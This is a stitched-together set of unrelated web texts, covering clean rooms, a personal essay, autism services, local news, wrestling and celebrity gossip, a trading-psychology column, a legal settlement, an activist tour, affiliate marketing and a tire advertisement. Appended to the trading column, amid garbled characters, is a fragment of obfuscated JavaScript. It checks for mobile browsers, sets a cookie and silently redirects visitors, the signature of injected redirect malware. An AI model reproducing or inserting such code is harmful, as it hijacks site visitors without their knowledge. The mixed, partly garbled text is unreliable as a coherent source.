text: Growing Number of Clean Rooms The process of clean room system design involves planning and fabricating the clean room system's layout and features. In order to make the clean room's intended design a reality, a wide range of procedures are implemented. In order to accommodate this wide variety of methods, clean room designers have come up with a variety of clean room configurations. State-of-the art clean rooms achieve high levels of cleanliness and are equipped with high-efficiency features. This level of efficiency can only be achieved by having a carefully analyzed plan. In order to effectively fabricate a clean room, one must put extensive time and effort into planning the clean room design long before the construction phase even begins. In deciding the size and capabilities of a clean room, there are numerous factors that must be considered, such as the maximum personnel capacity. It is crucial to avoid workflow patterns that cause people to retrace their steps; therefore, extra care must be used in drawing out the blueprints. Another important element in the planning stages is carefully considering the types of materials and components that will be used in the clean room's construction. In designing a clean room, a team of manufacturers and designers will work closely with the client and make note of every specification necessary to ensure that the cleanroom meets the standards of its ultimate destination. Since clean rooms were first introduced, the clean room industry has experienced a significant amount of growth. Clean rooms have been in high demand from industries that involve dealing with sensitive materials, such as pharmaceutical companies. Due to these companies increasing demand of clean rooms, the clean room manufacturing industry has boomed. This surge in clean room manufacturing has caused governments around the world to create and implement stricter laws and systems of regulations during the processing of numerous medications. The semiconductor industry has also depended on clean rooms to develop their products and maintain production quality. There are numerous companies that even choose the option of building brand new clean rooms over the option of expanding pre-existing spaces. As these industries continue to grow and develop, so will the development and construction of clean rooms. Cleanroom Design Various international governmental entities such as the United States Government and the International Organization for Standardization (ISO) have set in place systems of strict regulations and standards for each and every component of a clean room. These systems of standards are crucial in ensuring that the clean rooms are effective in protecting the sensitive operations that are carried out within them. These high-tech operations include electron microscopy, medical testing, nanotechnology development, biotechnology research, and semiconductor fabrication. Carrying out each of these operations require a clean room with varying levels of decontamination, and clean room equipment such as clean room suits (also referred to as bunny suits), personnel decontamination air jets, and filters. Each piece of equipment is vital to controlling the levels of contaminants within a clean room. State-of-the-art clean rooms sometimes feature oxygen supplies for personnel, and are used in research operations that involve studying dangerous chemicals or infectious diseases. The US FED STD 209E standard system is implemented by the U.S. government, and gives clean rooms a rating based on the number of 0.5 micrometer-sized particulates present per cubic foot within a certain space. The number that the system assigns corresponds to the particle volume. Class 1 clean rooms contain no more than one 0.5 micrometer-sized particle per cubic foot within the clean room's atmosphere. The layout of Class 1 clean rooms must feature a set of high-efficiency particulate air (HEPA) filters that work in conjunction with other decontamination equipment. The class number increases in correspondence to the permissible level of presence of particles. Class 10,000 clean rooms, for instance, should have no more than 10,000 0.5 micrometer-sized particles per cubic foot. Normal, unfiltered air would be labeled Class 1,000,000 if it were classified using this system. The lower the clean room's class, the more likely it is to be stationary with hard walls and extensive measures of decontamination and filtration equipment. Clean rooms of a higher class can come with modular features and are more portable. Clean rooms that come with these features can be easily disassembled, reassembled, and moved around, and they provide standard protection. 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My philosophy of life is confidence equals life. I look at life this was because if you have confidence with you life and you don't down your self you should live a good life. A few years ago I didn't believe in myself to do a lot of things. I couldn't find the confidence in my self to find a girl friend or do sport's. After a few more years past and having good friends to help me build confidence I now know that I can find a girl friend if I tried and if I really want to I could play a sport.
Today I do some motocross and I have fun with it. I'm always trying new thing every time I go out and ride. I'm always trying new things and pushing myself a little harder each time and each time I get better. Its all about having confidence with what you want to do and what you can do. Almost anyone can learn to play a sport well. It takes time and the will to want to learn. With finding a girl/boy friend it takes a different type of confidence, don't think about your flays that will only help you not get the person you want. Think about all the good things and be your self. Never doubt you're self just because you might not be the smartest person or the best looking have confidence if you're self and who you are as a person having confidence will help you live a better more successful life and you will be happier with your self. Friends and family are good people to talk to to help you build up confidence, never let some one eals put you down and try to make you feel bad.
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The New York Insurance Funding for Autism Workshop, presented by CARD and hosted by AutismUp, will teach parents the most effective ways to access coverage.
Advocating Autism Recovery & Awareness Worldwide
Tagged Autism Therapy
The Importance Of Family
CARD is made up of therapists, BCBAs, and supervisors who have chosen to dedicate their lives to the treatment of children with autism. The keyword here is 'chosen', because each CARD therapist, BCBA, and supervisor cares deeply about helping the individuals they treat to achieve their highest potential.
CBS Special Report: Wandering
CBS 47 reports on how the Center for Autism and Related Disorders provides therapy that helps children with autism and prevents them from wandering.
Big News In Mississippi
Great news coming out of Mississippi! This week legislators in the House of Representatives passed a bill to mandate insurance to cover autism by an unprecedented vote of 120-0!
Requesting And Reinforcement
Meet Jack, a CARD ABA client that receives 25 hours a week. Over the last 2 years we've gotten to know and love Jack as another member of the #CARDFamily. In this episode, Jack Riley begins verbally requesting for things he wants. This is great! However, this also can prove difficult for his parents, as they are supposed to reinforce each request.
How Can I Afford ABA?
As an autism therapy provider, one of the most frequent questions we get asked by families is about how to pay for services. Most families do not have the necessary income to cover a full-time ABA program for their child, so they look to their insurance provider for help.
Ask Dr. Doreen
Here's another segment of CARD founder Dr. Doreen Granpeesheh on Autism Live answering questions about autism from viewers. Here are the topics she covers this week:
Autism Live: A Great Resource For Autism!
Autism Live is an interactive webshow providing support, resources, information, facts, entertainment and inspiration to parents, teachers and practitioners working with children on the autism spectrum.
Believe In Miracles?
Through it all, this remarkable family has shown gratitude and humility that has touched everyone who has met them and shown us that helping others in need can bring joy and comfort to us all, "You cannot know heaven until you have experienced hell" Michael said to me one day. They believe a miracle has happened in the lives of their nephew and daughter, due to the generosity of others. One look at the happy face of a little boy named Criscent shows that miracles can come true.
Skills® Behavior Intervention Plan Builder Now Available As A Stand-Alone Web-Based Program
The Skills® Behavior Intervention Plan (BIP) Builder is available for the first time as a stand-alone program that is designed to treat the root cause of challenging behavior. The BIP Builder offers newly-enhanced features and is the ultimate tool for efficiently designing effective BIPs to decrease challenging behavior using the principles of applied behavior analysis (ABA). The program utilizes evidence-based practices and emphasizes least-intrusive procedures.


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Daniel sets sights on Stateside film project
ANewtownforbes university student is preparing to shoot a short film in the United States this summer.
Daniel Keenan, who has been living in San Jose, California, for the past year, explained that he began working on the film after visiting the hometown of his friend and co-writer, Ryan McDowell.
"He's from a small town in the Sierra Nevada mountains. It's an amazing area. We saw it had great potential and spent two months working on a script.
"We sent it out to people he knew, and to acting groups around the [San Francisco] Bay Area. It's fully-cast now and we're putting together marketing materials at the moment. We have all the equipment and we're looking at shooting it in the summer."
Entitled 'The '89'ers', Daniel said he and Ryan hope to enter their creation in a number of film festivals.
"It's a short film in a mockumentary style," he explained. "It will be shot in a TV-style format and we're hoping someone will pick up on it at the festivals. We're planning to work on two or three more episodes.
"It's about a guy called Quentin who gets an idea to go up into the Sierra Nevada mountains to a town there to secretly try and re-start the Gold Rush. He's a bit street-stupid and there are a lot of weird characters, such as the fire fighter who won't fight fires and a meth dealer with a heart of gold."
Although this is his first foray into movie production, Daniel - a son of Michael and Patricia Keenan - has previous experience in performing arts.
"I wrote a play called 'Breaking Brian' for a competition when I was studying in UCD, and the Drama Society there staged a five-night run in their theatre."
Talking about his studies and his move to the USA, he said: "I studied English Literature in UCD. I moved to California in April on a J1 visa and since June I've been working in marketing and communications at the International Technological University in San Jose. I'll be starting a masters in marketing there soon."


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Do you really want this guy to be responsible for administering your anesthesia?: "A Manhattan judge has thrown out a doctor's $100 million lawsuit against the ex-employees he blames for getting his name associated with hard-core pornographic Web sites – and causing his obsession with Googling his own name." |NYP|
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Starfleet Command Volume II has been redesigned from the ground up to provide a richer solo gaming experience and has a totally redesigned fleet control interface. Experience new races such as the Mirak Star League and the Interstellar Concordium and their new weapon systems. The Interstellar Concordium have a powerful Plasmatic Pulsar Device to enforce peace on the known powers. The Mirak specialize in missile combat and have the most fearsome missile cruisers ever seen in the Star Trek universe.
Major enhancements to the game's 3D engine include colorful dynamic lighting effects from suns, weapons fire, and explosions. The lighting in the game is now directional and amazingly cinematic. Ships and even some planets now have luminosity maps that make parts of the models glow. Progressive damage textures demonstrate the punishment that targets are suffering. A redesigned Fleet Control system improves your ability to give orders, and allows you to select formations for your ships. With up to three ships of your own, you can also control up to three captured vessels for a total of six ships in a single engagement.


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Post Date:08/07/2017 3:16 PM
The summer is coming to a close and another new school year is beginning for Palm Bay students on Thursday, August 10th. The City of Palm Bay Police Department would like to remind drivers to be mindful and cautious as students and crossing guards make their way out on city streets in the coming weeks.Return to full list >>
The City of Palm Bay Crossing Guards would like to offer these traffic etiquette reminders to those driving or walking to, from and near schools:
DRIVERS: Stop for the stop sign and remain stopped until the Crossing Guard steps back onto the sidewalk. This allows for the safety of the Crossing Guard and pedestrians that the driver may not see.
- Stop behind the crosswalk line to allow for pedestrian crossing.
- Do not inch forward until the Crossing Guard has exited the street.
- Traffic laws requires drivers to remain stopped until the Crossing Guard and children reach a point of safety (the sidewalk).
PEDESTRIANS: Wait on the sidewalk for the Crossing Guard to stop traffic and signal that it is safe to cross in the crosswalk. Remember they are there for your safety.
- Crossing Guards use hand signals and a whistle; one toot is for the drivers to stop and two toots release pedestrians to cross.
- Crossing Guards are assigned to regulate traffic flow as well as cross pedestrians at safe opportunities, so it is important that everyone follow their direction.
- Don't teach your children to cross in the middle of the street. Teach by word and example to cross in the crosswalk with the Crossing Guard.
School Crossing Guards are assigned to 25 intersections throughout the city to ensure the safety of both the pedestrians and drivers navigating the school zones throughout Palm Bay. Remember to be alert, drive safely around school zones, and give yourself enough time to avoid being in a rush on the roadway.
For additional information about City of Palm Bay Crossing Guards and job opportunities, please go to www.palmbayflorida.org or call (321) 952-3456.


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WWE News: AJ Styles moved to the alumni section of the WWE website
What's the story?
In the aftermath of the AJ Styles-Shane McMahon angle that played out on this week's episode of SmackDown, AJ Styles has been moved to the 'alumni' section of the WWE website.
This is as a direct consequence of Smackdown General Manager Daniel Bryan firing AJ Styles, after he viciously attacked Smackdown Commissioner Shane McMahon. The move, one presumes, is to keep kayfabe despite the fact that Shane McMahon is slated to face AJ Styles at Wrestlemania.
In case you didn't know...
AJ Styles lost the WWE Championship to John Cena at the Royal Rumble.
Since then, he never received a one-on-one rematch for the title, despite being put in a Battle Royal to determine the number 1 contender, an Elimination Chamber match and a number 1 contenders' duel against Randy Orton, which saw him coming up short each time.
Also read: WWE News: AJ Styles sends Shane McMahon crashing through a car window
As a result of the same, AJ Styles complained about not having a match at WrestleMania and subsequently took out his ire on Shane McMahon, attacking him in the parking lot and putting his head through a car window. Daniel Bryan fired AJ Styles for his actions.
The heart of the matter...
Shane McMahon indicated that he would be facing AJ Styles at WrestleMania. However, WWE has not yet made the official announcement for the match between the two, although the matter was touched upon by Daniel Bryan and Renee Young during Talking Smack.
As it stands, AJ Styles is, in storyline, no longer a part of the WWE.
What's next?
With only a few weeks to go until WrestleMania 33, it will be interesting to see how this angle develops. One assumes that AJ Styles will be hired back by Shane McMahon so that they can have their one-on-one match.
It is also being speculated that since Shane McMahon did not really announce himself as AJ Styles' opponent, he could be putting someone else in his place for the match at WrestleMania 33 instead.
Author's take
While there has been universal disdain towards the Shane McMahon-AJ Styles matchup, it looks likely that WWE is heading in that direction.
Knowing that Shane McMahon brings his A-Game to the big stage and that AJ Styles' is always on point, it should be an interesting match. There's definitely going to be one high spot, knowing the ways of the younger McMahon.
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After moving his belongings out of the home he shared with unfaithful girlfriend Kristen Stewart, Robert Pattinson is reportedly desperately lonely — so much so that he's seeking out random people to hang out with, per the U.K.'s Sun. Really?
"Robert has resorted to asking strangers out to keep him company," a source told the paper. "He went out for drinks with a woman staying in his hotel and he told her it was 'ridiculous' he had nobody to talk to. He's been spending most of his days off playing computer games."
"Ridiculous" is the word for this story. Computer games? We would imagine R-Pattz is spending most of his days getting revenge on K-Stew with eager "Twilight" groupies. At least, he should be!
Jennifer Lopez's 4-year-old twins are reportedly wreaking havoc backstage on her tour with Enrique Iglesias, and the pop diva is not doing anything to stop them, Radar Online sources complain.
Max and Emme, J.Lo's kids with ex-husband Marc Anthony, are said to be breaking equipment and making the stagehands' lives hell while their mother is occupied onstage.
"Jennifer has absolutely no control over her children," said one source. "When she's rehearsing for the show and [backup dancer beau] Casper [Smart] is on stage with her, the kids are left pretty much to their own devices without much supervision. That's when all hell breaks loose and Max and Emme embark on a self-destructive path."
According to the source, the tots "run around, kicking out wires, getting in the way of stagehands and are a real problem. Worse still, Jennifer or Casper have said nothing about it – telling the stagehands they are 4-year-old kids and it's to be expected. But they have been breaking expensive equipment and making life difficult for everyone. It's a miracle they haven't been electrocuted yet because the lighting systems are very dangerous."
Concludes the source, "The twins are complete brats with zero discipline, and Jennifer isn't behaving like a responsible parent."
Well, maybe they're just acting out because they're jealous of all the attention Mommy is giving her new adopted son…wait, what? That's her boyfriend? Oh, never mind then.
Holly Madison is getting ready to become a single mother.
"I've started the adoption process," the former "Girls Next Door" tells In Touch. "I really want to be a mommy."
"I love performing in the theater, and you can't really do that when you're pregnant," Holly explains of her choice to adopt.
Well, that really bodes well for her parenting skills, doesn't it?
Sophia Bush told Us she's not dating Topher Grace, he's "one of [her] dearest friends."
Jeremy Renner admitted he accidentally took Viagra before a 10-hour flight.
Hilary Swank dropped a suit against an electronics company for unauthorized use of her likeness.
Mel Gibson put his Greenwich, Conn., mansion on the market for $33 million.
Katie Holmes took daughter Suri Cruise to the Bronx Zoo, where they fed giraffes.


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Do you have a tendency to chase price? That means, buy high in the hope of selling even higher. Or selling short during a rapid decline without waiting for a pullback.
Be honest. If you are male, you probably engage in this behavior, due to the primitive hunter within you. You see, thereai??i??s a part of your brain that is still on the Savannah. There, chasing was our basic mode of survival, because animals flee; and spears and arrows are short range weapons.
Chasing made sense 100,000 years ago, but in terms of trading psychology, we often do it at exactly the wrong time.
We think: ai???The market is running away and I donai??i??t want to miss out. I know itai??i??s against my rules to chase, but my gut is telling me that this is just too good of an opportunity to miss. Therefore, Iai??i??m going for it!ai???
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In the heat of the moment, this argument seems to make sense, but like other types of passionate urges, it distorts our thinking. The more heat we feel, the dumber we behave and we eventually recognize this in hindsight.
The palpable sense of urgency we feel when the market starts moving quickly comes from dopamine circuits deep in the brain. Dopamine is the brain chemical designed to motivate us to chase and not give up until we score dinner. It is a very quick trigger; dopamine can signal the body to get going in less than 100 milliseconds.
Dopamine stimulates the entire nervous system and might make us feel smarter, but the IQ boost is illusory. Under the influence of dopamine, the nerve supply to the forebrain is actually turned down. The dopamine surge distorts our trading psychology. The brain wants us to act first and think later.
When you finally wake up from this trance, you will be surprised and often dismayed at what happened.
Bottomline: When you feel the urge to chase the market to avoid missing out, your ai???Inner Neanderthalai??? has taken over your trading like a body-snatcher. One alternative is to walk away from your screen for a few hours. I myself will go workout or play tennis, as I've found being activeAi??gives meAi??a less reactive attitude while trading. So make sure to find other ways to keep yourself occupied.
Until Next time,
Kenneth Reid
Dr. Kenneth Reid holds a Ph.D. in Clinical Psychology. He is currently a trading coach and has published articles for Forbes, SmartMoney, and SFO Magazine. He has also appeared on CNBC and writes a column on The Trading Psychology for Trader Planet. Kenneth Specialized in trading stock and futures and is working on a futures trading book.Ai?? er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


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I was very excited to collaborate on products with pop surrealist/pervasive artist Gary Baseman for the Skirball Cultural Center's original exhibition Gary Baseman: The Door is Always Open. We had about six months' lead time from concept to execution. As a fan of this type of art, I began brainstorming product ideas with my boss and researched production lead times. It was important to keep the price point low and create products that would appeal to Baseman enthusiasts as well as our core audience.
My boss negotiated terms and I handled the contract. I worked with Gary to get images we'd need, converting characters to silhouettes, handwriting to vectors. I designed the products pictured below with my boss' and Gary's final approval, while branding the line of merchandise as "Baseman at the Skirball". In addition, I oversaw production of a few other items for which Gary provided the designs.
As for existing products from other vendors, I assisted in the research and purchase of items Gary had collaborated on as well as items that related to the exhibition content and/or Gary's aesthetic.
For Audrey's Museum Store online, I photographed all custom products, optimized the images for the web, wrote the product copy, and inputted all information into the store's content management system. For pre-promotion, I coded a landing page that featured an interactive version of the title painting The Door Is Always Open using purely CSS3 properties on hover. The butterfly "flies" backward and forward, the all-seeing eye on the house "blinks", the door "opens and shuts", and the worm "slides" back and forth.


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A group of about 70 protesters who claim they were unlawfully arrested in 2005 while demonstrating in Washington's Adams Morgan neighborhood could each receive at least $2,000 in damages from the city, under a settlement agreement approved in Washington federal court.
U.S. District Court Judge Ellen Huvelle granted preliminary approval to the settlement on March 24, subject to final approval following a public fairness hearing scheduled for Aug. 1. The suit was supposed to go to trial on Feb. 1, but the settlement was hammered out in late January, according to court records. A copy of the settlement notice can be found here (PDF).
If approved, attorneys representing the class would receive $50,000 of the $250,000 settlement. The American Civil Liberties Union and two Washington firms, Gaffney & Schember and Kirkland & Ellis, represented the class, but since the ACLU and Kirkland & Ellis worked pro bono, they won't be eligible for a share.
The class action stems from a demonstration that took place the night of Jan. 20, 2005. Following the inauguration of former president George W. Bush to a second term in office earlier in the day, a group of demonstrators opposed to the president's re-election took to the streets in Adams Morgan; several class members claimed they were bystanders.
According to the complaint (PDF), the march was broken up when police arrived – the protesters did not have a permit, and some marchers were engaging in vandalism – and more than 70 participants and bystanders were arrested. Several class members claimed they were assaulted by police while they were being arrested, including one man who accused police of spraying pepper spray directly in his face. The class also questioned whether the police had the right to make arrests without first asking the crowd to disperse, and also whether parading without a permit was an offense that warranted arrest.
After Huvelle granted summary judgment for the class in 2008, the city appealed to the U.S. Court of Appeals for the D.C. Circuit. The judges sent the case back to federal court for further review, agreeing with the city that police are not always obligated to order a crowd to disperse before they start making arrests. In this case, the court noted that there were still disputed facts as to whether police had probable cause the night of the demonstrations to arrest any member of the crowd.
The five class representatives will split $5,000, and two class members who claimed they were assaulted in the course of the arrest will receive separate awards of $15,000 and $20,000. The entire class, which could be as many as 69 people, will split the remaining $160,000.
ACLU legal director Arthur Spitzer, one of the lead plaintiffs' counsel, said in a phone interview today that while the monetary settlement was important, the class members were especially pleased that the city agreed to expunge their arrest records. As part of the settlement, both sides also agreed to a statement acknowledging that police were "justified" in taking action to stop vandalism and protect bystanders, but that the city could not link any class member to those illegal acts.
"Most of them are young people, starting their careers, many of them foresee the possibility of needing security clearances or bar admittances in the future," Spitzer said. "We're glad that the police department now recognizes that it can't arrest a crowd for parading without a permit unless it first effectively informs the people that they have to disperse and gives them an opportunity to do so before making arrests."
Daniel Schember and Susan Dunham of Gaffney & Schember were named as lead counsel from that firm in the settlement agreement, along with Spitzer and attorneys from Kirkland & Ellis.
When reached by phone, Ariel Waldman, senior counsel to the city's attorney general, was glad that both sides could reach an agreement.
"The District of Columbia is pleased to avoid the burdens and expenses of further litigation on this matter," he said. He added that the city was also pleased with the inclusion of the statement regarding actions police took to stop vandalism and protect bystanders.
Updated 3/31 at 2:47 p.m. with additional reporting.


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Boardwalk Empire alum Charlie Cox has been tapped to headline CBS' Kennedy-esque drama The Ordained, TVLine has learned.
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The project, penned by author/journalist Lisa Takeuchi Cullen and exec-produced by Frank Marshall (War Horse, The Bourne Legacy) and Larry Shuman (Devious Maids), centers on the son (played by Cox) of a Kennedy-esque family who leaves the priesthood and becomes a lawyer to prevent his politician sister from being assassinated.
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from Warrior Publications
Mi'kmaq warriors at tire fire blockade, December 2013.
Mi'kmaq Delegation from the Mi'kmaq Nation and Elsipogtog fracking land dispute on the east coast are touring BC to raise awareness about their struggle against fracking, their ongoing assertion and exercise of nationhood and the repression they face from police, courts, government and corporations.
Neskonlith event:
Giibwanisi Dizhnikaaz, will be speaking at Neskonith to raise awareness of ACTION (Anishnabek Confederacy To Invoke Our Nationhood) and Oshkimaadiziig Unity Camp, which is a land reclamation in their Anishnabek Nation in the so-called Awenda Ontario Provincial Park.
Everyone is Welcome to Attend. See you at this very informative event to learn and to honor some of our land defenders.
Monday, January 27, 2014 4:00pm until 8:00pm
Neskonlith, unceded Secwepemc Nation
Neskonlith Hall, 5 km west of Chase
Dinner will be served at 4 pm
Presentation by Guests
Honoring and Hand drumming
Suzanne Patles speaks from Elsipogtog Anti-Fracking Blockade
Elsipogtog: The Fire Over Water
Mi'kmaq Blockade
Warriors Defence Fund:
Sacred Fire: The People United Against Fracking
Guardian: New Brunswick fracking protests are the frontline of a democratic fight
Other dates and events:
Members of the Mi'kmaq Warriors Society who have been arrested and incarcerated will be on a speaking tour in January and February to raise awareness about their struggle against fracking, their ongoing assertion and exercise of nationhood, and the repression they face from police and courts.
"Our warriors are still being mistreated in the system, justice for our political prisoners of war." Suzanne Patles, member of the Mi'kmaq Warrior Society
PUBLIC EVENTS (more details still coming):
* Lower Mainland campus speaking events: Friday January 24:
- Capilano University, Library LB 322 from 11:30 am to 1:00 pm.
- SFU downtown campus (515 West Hastings), Strategy Seminar in Room 1415 from 2:30-4:30 pm
- more to be confirmed
* Community-wide public event on Friday January 24. Doors at 5:45 pm, start time at 6 pm. Room 1900, SFU Harbour Center, 515 West Hastings, Vancouver, unceded Tsleil-Waututh, Musqueam & Sḵwx̱wú7mesh territories. FREE event. Wheel & scooter accessible, with accessible washrooms in the building. Child-friendly event with childminding support on-site.
* Sḵwx̱wú7mesh: Sunday January 26 from 10:30 am-noon. Pancakes Not Pipelines in the Squamish Nation to support Indigenous resistance to tar sands pipelines. Location: Chief Joe Mathias Centre 100 Capilano Road, West Vancouver. For more information:
* Monday January 27 @ 4 pm. Dinner served. Event includes Honouring and Acknowledgement and Hand drumming. Location: Neskonlith Hall, Secwepemculucw, unsurrendered Secwepemc Nation
* Morricetown, Wet'suwet'en Territories. Saturday February 1 from 9 am – 1 pm. Location: Multiplex Mini Feast Hall, 205 Beaver Road.
* Unist'ot'en Camp: February 1 – February 3
* Victoria, WSANEC and Lekwungen Territories: Thursday February 6th at UVic, main public event on Friday February 7 evening (details tbc). For more information: https://www.facebook.com/events/1411543315750502/
This speaking tour is organized, hosted and/or sponsored by Native Youth Movement, Unist'ot'en Camp, No One Is Illegal, Streams of Justice, VIPIRG, IGOV, Skwomesh Action, Capilano University First Nations Student Services, Capilano Student Union First Nations Caucus, Capilano University Humanities, Capilano University Social Sciences, Earthworks, Rising Tide, Council of Canadians, Union of BC Indian Chiefs, SFU Institute for the Humanities, SFU First Nations Studies, Idle No More, Defenders of the Land, SFPIRG and other allies.
If you can support this tour please get in touch hwalia8 at gmail dot com. Thank you!


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PGN - The eighth episode of Spartan Ops released today on the Xbox Live Market place. Like always, Epsiode 8 will feature 5 chapters to playthrough.
N4G is a community of gamers posting and discussing the latest game news. It's part of NewsBoiler, a network of social news sites covering today's pop culture.


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The Tookie vest for Oncology is unique. No other such product exists, but you may find "makeshift solutions" (some of which have not been through any risk analysis to ensure patient safety) but they do not provide the robust support you will get from the Tookie vest for Oncology.
The Tookie vest for Oncology was designed to maintain the integrity of the Central Venous Catheter, keeping it secure by containing the catheter within the vest and it's pouch. The development of the Vest incorporated consultations with clinical teams, academics, patients and their parents.
The vest is designed for comfort and is aesthetically pleasing for children to wear. It is made from warp spacer material, which is 100% polyester. The material is non-flammable and can be washed at high temperatures with no detriment to its properties.
Tookie vest for Oncology has been patented under the number GB2531144.
"The child/patient will cosmetically appear not to have such an obvious medical condition. Quality of life issues, play and integration will be enhanced".
- Quote from Catherine Barry, Advanced Neo-Natal Nurse, Practitioner and Lecturer


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Learning how to monetize a blog actually probably isn't the ideal place to start a blogging for income series, but because this is Money-Making Week, it's where I'm going to begin. Hopefully this will give those of you that already have blogs a starting point, and for those of you thinking about blogging, I'll come back to getting started over the coming weeks.
There are many ways to earn an income from blogging. You can use AdSense, ad networks, affiliate sites, sell your own products, do paid posts and on and on. But don't be fooled into thinking that blogging is a get-rich-quick ticket. It's hard work, and it can be very discouraging when you're starting out with little traffic and few comments.
(BTW readers, bloggers LOVE comments. Even if you just take a moment to say, "Thanks, that post really helped me out," I guarantee you'll make someone's day!)
With so many methods, it's only natural that some will work for some people while not for others. It's important to try a variety to see what works best for you. I've experimented with several, and one of my favorite methods is affiliate marketing.
So what's so special about affiliate marketing? Basically it's a win for me and a win for my readers! My readers get to sign up for great samples and other offers, and I get paid a little bit to offer them the opportunity. Of course not every sample I blog about earns me money. In fact most of them don't, but it's always a nice incentive when they do!
Some important tips about affiliate marketing:
- Be selective. Before you promote an offer on your blog, look at the landing page that your affiliate link takes you to. Is it something that you would feel comfortable signing up for? If in doubt, you can email your rep at the affiliate network for additional details. You don't want to damage the trust your readers have placed in you by having them register for a scam.
- Do your homework. Be sure to pay close attention to the terms and conditions regarding an offer. Some offers can't be offered as a text link. Some can be sent in an email format. Some offers can be incentivized meaning you can offer a bonus if a readers takes advantage of the opportunity. Just be sure that you read thoroughly and understand before you promote. Again, you can ask your rep for help if you have any questions.
- Don't overdo it. Constantly bombarding your readers with affiliate links and placing tons of banners and ads in your sidebars will only turn them off. Select a few good offers to promote and focus on them.
- Personalize it. If you've had a personal experience with the company or offer you are promoting, tell your readers about it. They're reading your blog because they like what you have to say, so if you can approach them with an insider's point of view, they'll be that much more likely to take action.
There are literally thousands of different affiliate companies out there. The ones I've signed on with probably aren't even a drop in the bucket, but many were sites that were recommended to me when I started out, so I'd like to share them with my readers as well.
Recommended affiliate companies:
- Logical Media ($25 sign up bonus!) – samples, coupons and more
- ShopHer Media – samples, coupon and more
- Coupons.com – coupons
- Market Leverage – samples, coupon and more
- ReadySite ($25 sign up bonus!) – samples, coupon and more
- CPAStorm – surveys and more
- Pepperjam – shopping and more
- Commission Junction – coupons, photo printing, shopping and more
- Ebates ($5 cash or $10 GC sign up bonus!) – coupons, photo printing, shopping and more
- Cashbaq ($5 sign up bonus!) – coupons, photo printing, shopping and more
- Mr. Rebates ($5 sign up bonus!) – coupons, photo printing, shopping and more
- Big Crumbs – coupons, photo printing, shopping and more
- LinkShare – coupons, photo printing, shopping and more
As I mentioned before, you're probably not going to make big bucks using these companies, but using them strategically can generate some nice pocket change or give you a little breathing room in your budget.


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Firestone tires have helped Morrow residents go the extra mile, time and time again. When you need new tires or are looking to upgrade your current set of wheels, turn to Firestone Complete Auto Care.
Whether you're driving a work van or personal car, we can help select the best tires for you and your budget. Our over 1,700 tire shops around the country have a dynamic selection of tires that can outfit nearly any car from a compact to a truck. And with brands like DriveGuard, Turanza, and Ecopia, you're never asked to skimp on quality. Find the best tires to match your driving needs when you shop at Firestone Complete Auto Care. Our crew of tire enthusiasts can get the perfect set of tires for your ride. Want to shop online? We can do that. Browse any tire in our inventory and buy your tires online. By using the tire selector, you can shop based on tire size, brand, type, and even price. At Firestone Complete Auto Care, we believe your safety shouldn't be out of budget, so we strive to help your money stretch further while also helping you stay safer at the wheel. Our Firestone Complete Auto Care team would be happy to help with whatever tire needs or services you may require. Push the potential of your car and make a tire appointment in Morrow with Firestone Complete Auto Care today.
Firestone Complete Auto Care has made a reputation on providing top-of-the-line tire repair and maintenance services. With over 1,700 locations and with more than 4,000 skilled ASE-certified technicians on staff, Firestone Complete Auto Care makes exceptional car care straightforward and economical. It's why we keep our doors open late during the week and have weekend appointments. Plus, if you look online, you'll see we have coupons and discounts to help you save. And The Firestone Complete Auto Care Triple Guarantee means your repair will be fixed right, priced right, and done right on time.


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Eye Adore: Dior 3 Couleurs Smoky
October 25, 2011
